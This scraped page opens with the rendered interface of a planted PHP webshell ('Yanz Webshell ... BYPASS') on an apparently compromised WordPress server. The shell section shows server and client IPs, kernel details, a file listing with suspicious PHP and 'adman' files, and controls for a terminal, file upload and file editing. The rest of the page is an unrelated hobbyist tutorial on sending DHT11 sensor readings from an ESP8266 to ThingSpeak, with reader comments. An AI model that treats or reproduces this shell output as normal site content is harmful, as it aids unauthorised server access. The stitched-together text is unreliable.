Attention:
Uname:
Php:
Hdd:
Cwd:
Yanz Webshell! - PRIV8 WEB SHELL ORB YANZ BYPASS!
Linux s35.wpx.net 4.18.0-553.120.1.el8_10.x86_64 #1 SMP Thu Apr 23 10:43:43 UTC 2026 x86_64
8.0.30 Safe mode: OFF Datetime: 2026-09-28 21:25:48
7008.76 GB Free: 3914.90 GB (55%)
/home/electron3/public_html/ drwxr-xr-x [ root ] [ home ] Text

Server IP:
198.60.193.35
Client IP:
216.73.216.232
[ Files ][ Logout ]

File manager

NameSizeModifyPermissionsActions
[ . ]dir2026-09-28 17:06:20drwxr-xr-xRename Touch
[ .usermin ]dir2024-09-05 07:12:34drwxr-xr-xRename Touch
[ 3cfc6 ]dir2026-08-10 03:54:10drwxr-xr-xRename Touch
[ a8f5d ]dir2026-08-10 03:54:10drwxr-xr-xRename Touch
[ af889 ]dir2026-08-10 03:54:10drwxr-xr-xRename Touch
[ eb364 ]dir2026-08-10 03:54:10drwxr-xr-xRename Touch
[ ef8b8 ]dir2026-08-10 03:54:10drwxr-xr-xRename Touch
[ js ]dir2026-08-10 03:54:10drwxr-xr-xRename Touch
[ tools ]dir2026-08-10 03:54:10drwxr-xr-xRename Touch
[ wp-admin ]dir2026-09-22 12:55:00drwxr-xr-xRename Touch
[ wp-content ]dir2026-09-28 11:13:17drwxr-xr-xRename Touch
[ wp-includes ]dir2026-09-22 12:55:00drwxr-xr-xRename Touch
[ wp-snapshots ]dir2026-08-10 03:54:10drwxr-xr-xRename Touch
.backup0 B2024-09-09 07:19:14-rw-r--r--Rename Touch Edit Download
.htaccess617 B2026-08-10 03:53:18-rw-r--r--Rename Touch Edit Download
.s3backupstatus87 B2024-09-05 07:24:30-rw-r--r--Rename Touch Edit Download
.synthquota117 B2024-09-05 07:18:11-rw-r--r--Rename Touch Edit Download
.user.ini0 B2024-09-09 15:05:09-rw-r--r--Rename Touch Edit Download
.user.ini~bckp95 B2024-09-05 07:21:22-rw-r--r--Rename Touch Edit Download
761baa864110.php375 B2026-08-10 01:47:54-rw-r--r--Rename Touch Edit Download
accesson.php374 B2026-09-28 21:25:47-rw-r--r--Rename Touch Edit Download
adman.177.txt5 B2026-08-09 20:59:44-rw-r--r--Rename Touch Edit Download
adman.198.txt5 B2026-08-09 21:49:35-rw-r--r--Rename Touch Edit Download
adman.369.txt6 B2026-08-09 21:57:44-rw-r--r--Rename Touch Edit Download
adman.623.txt6 B2026-08-09 20:54:34-rw-r--r--Rename Touch Edit Download
adman.831.txt6 B2026-08-09 21:01:55-rw-r--r--Rename Touch Edit Download
adman.908.txt6 B2026-08-09 21:50:38-rw-r--r--Rename Touch Edit Download
ads.txt5.58 KB2026-02-10 14:31:08-rw-r--r--Rename Touch Edit Download
ca.html30.13 KB2026-09-28 17:06:20-rw-r--r--Rename Touch Edit Download
database.sql326.76 MB2026-09-28 11:34:13-rw-rw-r--Rename Touch Edit Download
databasescan.txt357 B2026-09-28 11:35:16-rw-rw-r--Rename Touch Edit Download
electronicshub.org.ads.txt12.27 KB2024-12-23 09:13:13-rw-r--r--Rename Touch Edit Download
favicon.ico14.73 KB2024-09-05 07:18:18-rw-r--r--Rename Touch Edit Download
function_calls_with_plugins.log734.92 MB2025-06-11 08:20:44-rw-r--r--Rename Touch Edit Download
index.html87.54 KB2026-09-28 17:06:20-rw-r--r--Rename Touch Edit Download
index.php405 B2020-02-06 06:33:11-rw-r--r--Rename Touch Edit Download
license.txt19.44 KB2026-01-01 00:07:29-rw-r--r--Rename Touch Edit Download
litespeed.conf1.18 KB2025-06-10 14:43:27-rw-r--r--Rename Touch Edit Download
readme.a8fc87ce3030c5693b571a9fcdc9feb1.html7.25 KB2025-09-30 22:56:20-rw-r--r--Rename Touch Edit Download
readme.html7.23 KB2026-07-06 16:51:48-rw-r--r--Rename Touch Edit Download
robots.txt127 B2024-09-05 07:18:04-rw-r--r--Rename Touch Edit Download
scan.txt4.52 KB2026-09-28 12:34:58-rw-r--r--Rename Touch Edit Download
sql_query.txt6.68 KB2024-09-05 07:18:03-rw-r--r--Rename Touch Edit Download
wp-activate.php7.54 KB2026-07-07 03:06:54-rw-r--r--Rename Touch Edit Download
wp-blog-header.php351 B2020-02-06 06:33:11-rw-r--r--Rename Touch Edit Download
wp-comments-post.php2.27 KB2023-06-14 14:11:16-rw-r--r--Rename Touch Edit Download
wp-config-sample.php3.26 KB2025-08-12 14:47:31-rw-r--r--Rename Touch Edit Download
wp-config.php3.72 KB2025-06-11 13:03:47-rw-r--r--Rename Touch Edit Download
wp-cron.php5.49 KB2024-08-02 19:40:16-rw-r--r--Rename Touch Edit Download
wp-headre.php17.27 KB2026-05-23 03:06:47-rw-r--r--Rename Touch Edit Download
wp-links-opml.php2.43 KB2025-04-30 12:52:29-rw-r--r--Rename Touch Edit Download
wp-load.php3.84 KB2024-03-11 10:05:15-rw-r--r--Rename Touch Edit Download
wp-login.php51.30 KB2026-08-11 06:18:50-rw-r--r--Rename Touch Edit Download
wp-mail.php8.52 KB2025-04-02 22:25:26-rw-r--r--Rename Touch Edit Download
wp-settings.php32.38 KB2026-07-22 17:21:49-rw-r--r--Rename Touch Edit Download
wp-signup.php34.26 KB2026-08-06 15:38:50-rw-r--r--Rename Touch Edit Download
wp-trackback.php5.27 KB2026-07-31 13:08:52-rw-r--r--Rename Touch Edit Download
wpx-fp-report.txt254.94 KB2026-09-28 12:38:41-rw-rw-r--Rename Touch Edit Download
xmlrpc.php3.13 KB2024-11-08 15:52:18-rw-r--r--Rename Touch Edit Download
 
Change dir:
Read file:
Make dir: (Writeable)
Make file: (Writeable)
Terminal:
Upload file: (Writeable)

DHT11 Humidity Sensor with ESP8266 and ThingSpeak

DHT11 Humidity Sensor with ESP8266 and ThingSpeak

In the previous project, I have shown you how to connect ESP8266 to ThingSpeak. After that initial setup, you can proceed with integrating various sensors with ESP8266 and monitoring the data on ThingSpeak API. So, in this project, I’ll show you how to interface DHT11 Humidity Sensor with ESP8266 and ThingSpeak and monitor the data.

Overview

DHT11 is a low-cost Humidity and Temperature Sensor. Since it has both the temperature and humidity sensors, the DHT11 Sensor is sufficient to implement your first IoT Weather Monitoring System.

When it comes to IoT, the combination of ESP8266 and ThingSpeak is an excellent way for beginners and hobbyists to dive into your IoT related projects.

If you are planning to build your own weather station, then this project could be your first step in that path. In this project, I’ll talk about the DHT11 Sensor in brief and also explain how to interface the DHT11 Humidity and Temperature Sensor with ESP8266 and ThingSpeak. 

DHT11 Humidity Sensor with ESP8266 and ThingSpeak Image

A Brief Note on DHT11 Sensor

DHT11 and DHT22 are a pair of cheap but efficient Humidity Sensors which can measure Relative Humidity and Temperature. Out of these two, the DHT11 Sensor is a cheaper version with a fairly good range of both Humidity and Temperature.

The Relative Humidity range of DHT11 is 20-95% with an accuracy of +/- 5%. Coming to the Temperature, the range is 0-500C with an accuracy of +/- 20C.

DHT11 Sensor

DHT22 Sensor has a wider range for both Humidity and Temperature with more accurate results but is costlier and bulkier than DHT11.

Both these sensors use a single pin for communication using 1-Wire Bus between the Microcontroller and the Sensor. The output from this single data pin is digital and hence, you don’t need an Analog Input pins on the Microcontroller. This is very useful as the ESP8266 ESP-01 Module doesn’t have any Analog Input Pins.

Interfacing DHT11 Humidity Sensor with ESP8266 and ThingSpeak

I’ll interface the DHT11 Sensor with ESP8266 through one of the GPIO Pins. All the calculations regarding the Humidity and Temperature will be performed in the ESP8266 Module.

After measuring the Temperature and Humidity, the results will be posted on the ThingSpeak API and can be seen as a graph.

Circuit Diagram

The circuit diagram for Interfacing DHT11 Humidity Sensor with ESP8266 and ThingSpeak is shown in the image below.

DHT11 Humidity Sensor with ESP8266 and ThingSpeak Circuit Diagram

Components Required

  • Arduino
  • DHT11 Humidity Sensor
  • ESP8266
  • Jumper Wires
  • Mini Breadboard
  • Resistors (1 KΩ and 2.2 KΩ)
  • Push Button
  • Slide Switch

Code

The code for connecting DHT11 Humidity Sensor with ESP8266 and ThingSpeak API is given below. You have to change the code i.e. add your WiFi Network’s SSID and Password at appropriate places.

Also, you need to note down your Write API Key from ThingSpeak Channel and paste it in the code.

In the previous project “CONNECT ESP8266 TO THINGSPEAK”, I have shown you how to create a channel in ThingSpeak and add fields for that channel. So, if you are unfamiliar with that information, please refer to that project.

NOTE:

  • You have to download two libraries called “DHT” and “Adafruit_Sensor”. You can download these libraries from these links: DHT and Adafruit_Sensor.
  • Download them in zip format, extract the contents and copy the folders to Documents–>Arduino–>libraries

Working

Make all the connections as per the circuit diagram. Here, I’ll be uploading the code directly to the ESP8266 Module. This means that the existing code or firmware will be erased.

Before uploading the code, connect the GPIO0 to GND and RESET the ESP Module to enable Programming Mode.

Also, select “Generic ESP8266 Module” in the Boards section of the Arduino IDE. Make sure that you have selected the correct COM PORT.

After uploading the code, first, disconnect the GPIO0 from GND (you can let is float) and RESET the ESP Module.

Now, if you open the Serial Monitor and set the baud rate to 115200 and also select “Both NL & CR” option, you can see the progress of the ESP8266 Module.

DHT11 Humidity Sensor with ESP8266 and ThingSpeak Serial

First, it will get connected to the WiFi Network. Then, immediately, it will try to read the data from the DHT11 Humidity sensor and calculate the Temperature and Humidity values based on that data.

After this, the values of temperature and humidity will be uploaded to the ThingSpeak API. If you open your channel in the ThingSpeak, you can see the chart associated with the values from the DHT11 Sensor.

DHT11 Humidity Sensor with ESP8266 and ThingSpeak API

Conclusion and Applications

  • In this simple project, I have shown you how to interface DHT11 Humidity Sensor with ESP8266 and ThingSpeak API.
  • You can monitor the DHT11 Sensor Data from anywhere in the World just by sitting in front of a computer.  
  • This project could be your first implementation towards a bigger and better Weather Station with many other sensors.      

 

17 Responses

    1. Arduino doesn’t need any code. I’m using it as an USB-to-Serial Converter. In fact, I have removed the Microcontroller from the Arduino Board.

  1. Unfortunatly not working. In console i get:

    Connecting to
    MYWIFI
    **
    ***WiFi connected***
    Temperature: 26.00deg C. Humidity: 18.00%. Connecting to Thingspeak.
    Sending….

    But it not sending this to cloud,

  2. Thank you for your great tutorials. It helps me achieve things I never thought I would. I do have a question – I’m carrying out a similar project but i’m using an MQ135 sensor to monitor air quality and provide notification through SMS when the quality is poor. With the help of your tutorials I’ve been able to program my ESP8266 WiFi module board to send and SMS to a certain mobile number. How do I cause the ESP8266 to work together with the rest of my arduino code? Do I create a new function for it in my main arduino sketch and call the function once my MQ135 reads poor quality? Do I trigger the ESP8266 by resetting it? Is that possible? Please help me out. Thank you

  3. Can you plz help me to get the ESP8266wifi library ? I have searched in google but none worked out during compilation.

  4. Connecting to
    MYWIFI
    **
    ***WiFi connected***
    Temperature: 26.00deg C. Humidity: 18.00%. Connecting to Thingspeak.
    Sending….

    But it not sending this to cloud,

  5. Hello,
    I am trying to add a soil sensor to this as well. I have successfully gotten the Humidity Sensor DHT11 to work connect and display, but I was curious how to add a Soil Sensor on A0 so that it would transmit to Thinkspeak as well?

    Any assistance would be appreciated.

Leave a Reply

Your email address will not be published. Required fields are marked *